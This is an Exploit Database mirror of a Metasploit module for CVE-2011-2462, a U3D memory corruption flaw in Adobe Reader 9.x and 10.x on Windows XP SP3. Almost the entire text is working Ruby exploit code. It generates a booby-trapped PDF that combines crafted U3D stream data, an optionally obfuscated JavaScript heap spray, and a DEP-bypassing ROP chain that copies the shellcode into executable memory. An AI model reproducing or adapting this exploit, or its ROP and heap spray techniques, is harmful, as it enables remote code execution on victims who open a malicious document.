Adobe Reader – U3D Memory Corruption (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2012-01-14
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18366/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'zlib'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',
  			'Description'=> %q{
  					This module exploits a vulnerability in the U3D handling within
  				versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
  				The vulnerability is due to the use of uninitialized memory.
  
  				Arbitrary code execution is achieved by embedding specially crafted U3D
  				data into a PDF document. A heap spray via JavaScript is used in order to
  				ensure that the memory used by the invalid pointer issue is controlled.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'sinn3r',
  					'juan vazquez',
  					'jduck'
  				],
  			'References' =>
  				[
  					[ 'CVE', '2011-2462' ],
  					[ 'OSVDB', '77529' ],
  					[ 'BID', '50922' ],
  					[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
  					[ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ],
  					[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],
  					[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space' => 1000,
  					'BadChars'=> "\x00",
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						# Adobe Reader 9.4.0 / XP SP3
  						# Adobe Reader 9.4.5 / XP SP3
  						# Adobe Reader 9.4.6 / XP SP3
  						'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
  						{
  							# gadget from icucnv36:
  							# mov ecx,dword ptr [eax+3Ch]
  							# mov eax,dword ptr [ecx]
  							# call dword ptr [eax+1Ch]
  							'Ret' => 0x4a8453c3
  						}
  					],
  				],
  			'DisclosureDate' => 'Dec 06 2011', #Needs to be checked
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class)
  
  	end
  
  	def junk(n=1)
  		tmp = []
  		value = rand_text(4).unpack("L")[0].to_i
  		n.times { tmp << value }
  		return tmp
  	end
  
  	def exploit
  		# DEP bypass; uses icucnv36.dll
  		stack_data = [
  			junk,
  			0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
  			0x0c0c0c0c, # becomes esi
  			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
  			0x4a8a0000, # becomes edi
  			0x4a802196, # becomes esi
  			0x4a801f90, # becomes ebp
  			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
  			0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
  			junk(4),
  			0x00000000, # becomes edi
  			0x00000002, # becomes esi
  			0x00000102, # becomes ebp
  			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
  			junk(5),
  			0x4a80a8a6, # becomes edi
  			0x4a801f90, # becomes esi
  			0x4a849038, # becomes ebp
  			0x4a8063a5, # pop ecx / ret
  			junk(5),
  			0x4a8a0000, # becomes ecx
  			0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
  			0x4a801f90, # pop eax / ret
  			0x4a84903c, # becomes eax (import for CreateFileA)
  			0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
  			0x4a801064, # ret for CreateFileA # ret
  			0x00000000, # __inLPCTSTR lpFileName
  			0x10000000, # __inDWORD dwDesiredAccess
  			0x00000000, # __inDWORD dwShareMode
  			0x00000000, # __in_optLPSECURITY_ATTRIBUTES lpSecurityAttributes
  			0x00000002, # __inDWORD dwCreationDisposition
  			0x00000102, # __inDWORD dwFlagsAndAttributes
  			0x00000000, # __in_optHANDLE hTemplateFile
  			0x4a8063a5, # pop ecx / ret
  			0x4a801064, # becomes ecx
  			0x4a842db2, # xchg eax, edi / ret
  			0x4a802ab1, # pop ebx / ret
  			0x00000008, # becomes ebx
  			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
  			0x4a801f90, # pop eax / ret
  			0x4a849038, # becomes eax (import for CreateFileA)
  			0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
  			0x4a801064, # ret for CreateFileMappingA # ret
  			0xffffffff, # __inHANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
  			0x00000000, # __in_optLPSECURITY_ATTRIBUTES lpAttributes,
  			0x00000040, # __inDWORD flProtect,
  			0x00000000, # __inDWORD dwMaximumSizeHigh,
  			0x00010000, # __inDWORD dwMaximumSizeLow,
  			0x00000000, # __in_optLPCTSTR lpName
  			0x4a8063a5, # pop ecx / ret
  			0x4a801064, # becomes ecx
  			0x4a842db2, # xchg eax, edi / ret
  			0x4a802ab1, # pop ebx / ret
  			0x00000008, # becomes ebx
  			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
  			0x4a801f90, # pop eax / ret
  			0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
  			0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
  			0x4a801064, # ret for MapViewOfFile # ret
  			0xffffffff, # __inHANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
  			0x00000022, # __inDWORD dwDesiredAccess
  			0x00000000, # __inDWORD dwFileOffsetHigh
  			0x00000000, # __inDWORD dwFileOffsetLow
  			0x00010000, # __inSIZE_T dwNumberOfBytesToMap
  			0x4a8063a5, # pop ecx / ret
  			0x4a8a0004, # becomes ecx
  			0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
  			0x4a8063a5, # pop ecx / ret
  			0x4a801064, # becomes ecx
  			0x4a842db2, # xchg eax, edi / ret
  			0x4a802ab1, # pop ebx / ret
  			0x00000030, # becomes ebx
  			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
  			0x4a801f90, # pop eax / ret
  			0x4a8a0004, # becomes eax {Result of MapViewOfFile}
  			0x4a80a7d8, # mov eax,dword ptr [eax] / ret
  			0x4a8063a5, # pop ecx / ret
  			0x4a801064, # becomes ecx
  			0x4a842db2, # xchg eax, edi / ret
  			0x4a802ab1, # pop ebx / ret
  			0x00000020, # becomes ebx
  			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
  			0x4a8063a5, # pop ecx / ret
  			0x4a801064, # becomes ecx
  			0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret
  			0x4a801f90, # pop eax / ret
  			0x00000034, # becomes eax # mapped at 0c0c0d8c
  			0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)
  			0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
  			0x4a801064, # becomes ecx
  			0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
  			0x4a802ab1, # pop ebx / ret
  			0x0000000a, # becomes ebx
  			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
  			0x4a801f90, # pop eax / ret
  			0x4a849170, # becomes eax (import for MSVCR80!memcpy)
  			0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
  			0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile
  			0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile
  			0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain
  			0x00001000# length (memcpy param)
  		].flatten.pack('V*')
  
  		payload_buf = ''
  		payload_buf << stack_data
  		payload_buf << payload.encoded
  		escaped_payload = Rex::Text.to_unescape(payload_buf)
  
  		eip_ptr =
  		[
  			junk(3),
  			target.ret, # EIP
  			junk(7),
  			0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot
  			junk(16),
  		].flatten.pack('V*')
  
  		escaped_eip = Rex::Text.to_unescape(eip_ptr)
  
  		js = <<-JS
  
  		var padding;
  		var bbb, ccc, ddd, eee, fff, ggg, hhh;
  		var pointers_a, i;
  		var x = new Array();
  		var y = new Array();
  
  		function alloc(bytes) {
  			return padding.substr(0, (bytes - 6) / 2);
  		}
  
  		function spray_eip(esc_a) {
  			pointers_a = unescape(esc_a);
  			for (i = 0; i < 2000; i++) {
  				x[i] = alloc(0x8) + pointers_a;
  				y[i] = alloc(0x88) + pointers_a;
  				y[i] = alloc(0x88) + pointers_a;
  				y[i] = alloc(0x88) + pointers_a;
  			}
  		};
  
  		function spray_shellcode() {
  			bbb = unescape('#{escaped_payload}');
  			ccc = unescape("%u0c0c");
  			ccc += ccc;
  
  			while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;
  
  			i1 = 0x0c0c - 0x24;
  			ddd = ccc.substring(0, i1 / 2);
  
  			ddd += bbb;
  			ddd += ccc;
  
  			i2 = 0x4000 + 0xc000;
  			eee = ddd.substring(0, i2 / 2);
  
  			for (; eee.length < 0x40000 + 0x40000;) eee += eee;
  
  			i3 = (0x1020 - 0x08) / 2;
  			fff = eee.substring(0, 0x80000 - i3);
  
  			ggg = new Array();
  
  			for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
  		}
  
  		padding = unescape("#{escaped_eip}");
  		while (padding.length < 0x10000)
  		padding = padding + padding;
  
  		spray_shellcode();
  		spray_eip('%u4141');
  
  		this.pageNum = 2;
  		JS
  
  		js = js.gsub(/^\t\t/,'')
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		u3d = make_u3d_stream
  		xml = make_xml_data
  		pdf = make_pdf(u3d, xml, js.to_s)
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  		file_create(pdf)
  	end
  
  	def make_xml_data
  		xml = %Q|<?xml version="1.0" encoding="UTF-8"?>
  		<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  		<ed>kapa</ed>
  		<config xmclns="http://www.microsoft.org/schema/xci/2.6/">
  		<present>
  		<pdf>
  		<version>1</version>
  		<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>
  		<interactive>1</interactive>
  		</pdf>
  		</present>
  		</config>
  		<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
  		<subform name="form1" layout="tb" locale="en_US">
  		<pageSet>
  		</pageSet>
  		</subform>
  		</template>
  		<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
  		<subform name="form1" layout="tb" locale="en_US">
  		<pageSet>
  		</pageSet>
  		</subform>
  		</template1>
  		<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
  		<subform name="form1" layout="tb" locale="en_US">
  		<pageSet>
  		</pageSet>
  		</subform>
  		</template2>
  		</xdp:xdp>|
  
  		xml = xml.gsub(/^\t\t/, '')
  		return xml
  	end
  
   def u3d_pad(str, char="\x00")
  		len = str.length % 4
  		if (len > 0)
  			#puts "Adding %d pad bytes" % (4 - len)
  			return (char * (4 - len))
  		end
  		""
  	end
  
  	def u3d_string(str)
  		([str.length].pack('v') + str)
  	end
  
  	def make_u3d_stream()
  		#
  		# REFERENCE:
  		# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
  		# The File format consists of these blocks:
  		# [File Header Block][Declaration Block][Continuation Block]
  		# Each block consists of (padding is used to keep fields 32-bit aligned):
  		# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
  		#
  		mc_name = u3d_string("CCCCBox01")
  		mr_name = u3d_string("Box01RX")
  
  		# build the U3D header (length will be patched in later)
  		hdr_data = [0,0].pack('n*') # version info
  		hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34
  
  		hdr = "U3D\x00"
  		hdr << [hdr_data.length,0].pack('VV')
  		hdr << hdr_data
  
  		parent_node_data =
  			"\x01\x00\x00\x00"+ # node count (1)
  			"\x00\x00"+ # name (empty)
  			# transform matrix
  			[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')
  
  
  		model_node_data = ""
  		model_node_data << mc_name
  		model_node_data << parent_node_data
  		model_node_data << mr_name
  		model_node_data << [1].pack('V') # Model Visibility (Front visible)
  		model_node = [0xffffff22,model_node_data.length,0].pack('VVV')
  		#model_node = [0xffffff22,0x5e,0].pack('VVV')
  		model_node << model_node_data
  
  		bone_weight_data = ""
  		bone_weight_data << mc_name
  		bone_weight_data << [
  			1,# Chain index
  			1,# Bone Weight Attributes (for a mesh)
  			0x3162123b, # Inverse Quant
  			0x14, # Position Count
  		].pack('VVNV')
  		# Position List
  		bone_weight_data << [
  			# 1
  			1,# Bone Weight Count
  			3,# Bone Index (no Quantized Weight)
  			# 2
  			0x55550000, # Bone Weight Count
  			0x4c1df36e, # Bone Index 
  			0x0200d002, # Quantized Weight
  			# 3
  			0x95000074, # Bone Weight Count
  			0x66ccc357, # Bone Index
  			0x00000000# Quantized Weight
  		].pack('VVNNNNNN')
  		bone_weight = [0xffffff44,0x3a,0].pack('VVV')
  		# We hardcode the length to match the old file.. (TODO: test if necessary)
  		#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
  		bone_weight << bone_weight_data
  
  		new_objtype1_data = 
  			"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+
  			"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+
  			"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
  		#new_objtype1 = [0xffffff16,0x38,0].pack('VVV')
  		new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')
  		new_objtype1 << new_objtype1_data
  
  		shading_modifier_data = ""
  		shading_modifier_data << mc_name
  		shading_modifier_data <<
  			"\x02\x00\x00\x00\x00\x00\x00\x00\x01"+
  			"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"
  		#shading_modifier = [0xffffff45,0x23,0].pack('VVV')
  		shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')
  		shading_modifier << shading_modifier_data
  
  		new_objtype2_data =
  			"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+
  			"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+
  			"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
  		#new_objtype2 = [0xffffff16,0x30,0].pack('VVV')
  		new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')
  		new_objtype2 << new_objtype2_data
  
  		nodemod_decl = ""
  		nodemod_decl << model_node
  		nodemod_decl << u3d_pad(nodemod_decl)
  		nodemod_decl << bone_weight
  		nodemod_decl << u3d_pad(nodemod_decl)
  		nodemod_decl << new_objtype1
  		nodemod_decl << u3d_pad(nodemod_decl)
  		nodemod_decl << shading_modifier
  		nodemod_decl << u3d_pad(nodemod_decl)
  		nodemod_decl << new_objtype2
  		nodemod_decl << u3d_pad(nodemod_decl)
  
  		nodemod_decl <<
  		# another modifier chain?
  		"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+
  		"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
  		"\x00\x00"+
  		# clod mesh generator (declaration)
  		"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+
  		"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+
  		"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+
  		"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+
  		"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+
  		"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+
  		"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+
  		"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00"+
  		# clod mesh generator (progressive mesh cont)
  		"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+
  		"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+
  		"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+
  		"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+
  		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+
  		"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+
  		"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+
  		"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+
  		"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+
  		"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+
  		"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+
  		"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+
  		"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+
  		"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+
  		"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+
  		"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+
  		"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"
  
  		# build the modifier chain
  		chain_data = ""
  		chain_data << mc_name
  		chain_data << [0].pack('V') # type (node modifier)
  		chain_data << [0].pack('V') # attributes (no bounding info)
  		chain_data << u3d_pad(chain_data)
  		chain_data << [0x5].pack('V') # number of modifiers
  		chain_data << nodemod_decl
  		#modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes
  		modifier_chain = [0xffffff14,0x17c,0].pack('VVV')
  		modifier_chain << chain_data
  
  		data = ""
  		data << hdr
  		data << modifier_chain
  
  		data
  	end
  
  	def RandomNonASCIIString(count)
  		result = ""
  		count.times do
  			result << (rand(128) + 128).chr
  		end
  		result
  	end
  
  	def ioDef(id)
  		"%d 0 obj\n" % id
  	end
  
  	def ioRef(id)
  		"%d 0 R" % id
  	end
  
  	def ASCIIHexWhitespaceEncode(str)
  		result = ""
  		whitespace = ""
  		str.each_byte do |b|
  			result << whitespace << "%02x" % b
  			whitespace = " " * (rand(3) + 1)
  		end
  		result << ">"
  	end
  
  	def make_pdf(u3d_stream, xml, js_doc)
  		xref = []
  		eol = "\x0a"
  		obj_end = "" << eol << "endobj" << eol
  
  		# the header
  		pdf = "%PDF-1.7" << eol
  
  		# filename/comment
  		pdf << "%" << RandomNonASCIIString(4) << eol
  
  		email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"
  		site= rand_text_alpha(5) + ".com"
  		xref << pdf.length
  		pdf << ioDef(1)
  		pdf << "<</Author (Fo)/email (#{email})/web (site)>>"
  		pdf << obj_end
  
  		compressed_xml = Zlib::Deflate.deflate(xml)
  		xref << pdf.length
  		pdf << ioDef(2)
  		pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol
  		pdf << "stream" << eol
  		pdf << compressed_xml << eol
  		pdf << "endstream"
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(3)
  		pdf << "<</XFA " << ioRef(2) << ">>"
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(4)
  		pdf << "<</Type/Catalog/Outlines " << ioRef(5)
  		pdf << " /Pages " << ioRef(6)
  		pdf << " /OpenAction " << ioRef(14)
  		pdf << " /AcroForm " << ioRef(3)
  		pdf << ">>"
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(5) << "<</Type/Outlines/Count 0>>"
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(6)
  		pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)]
  		pdf << obj_end
  
  		data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"
  		compressed_data = Zlib::Deflate.deflate(data)
  		xref << pdf.length
  		pdf << ioDef(7)
  		pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol
  		pdf << "stream" << eol
  		pdf << compressed_data << eol
  		pdf << "endstream"
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(8)
  		pdf << "<</ProcSet [/PDF]>>"
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(9)
  		pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]
  		pdf << obj_end
  
  		compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
  		xref << pdf.length
  		pdf << ioDef(10)
  		pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol
  		pdf << "stream" << eol
  		pdf << compressed_u3d << eol
  		pdf << "endstream"
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(11)
  		pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"
  		pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10)
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(12)
  		pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)]
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(13)
  		pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]
  		pdf << obj_end
  
  		xref << pdf.length
  		pdf << ioDef(14)
  		pdf << "<</S/JavaScript/JS %s>>" %ioRef(15)
  		pdf << obj_end
  
  		compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
  		xref << pdf.length
  		pdf << ioDef(15)
  		pdf << "<</Length " <<compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"
  		pdf << "stream" << eol
  		pdf << compressed_js << eol
  		pdf << "endstream"
  		pdf << obj_end
  
  		# xrefs
  		xrefPosition = pdf.length
  		pdf << "xref" << eol
  		pdf << "0 %d" % (xref.length + 1) << eol
  		pdf << "0000000000 65535 f" << eol
  		xref.each do |index|
  			pdf << "%010d 00000 n" % index << eol
  		end
  
  		# trailer
  		pdf << "trailer" << eol
  		pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol
  		pdf << "startxref" << eol
  		pdf << xrefPosition.to_s() << eol
  		pdf << "%%EOF" << eol
  	end
  
  end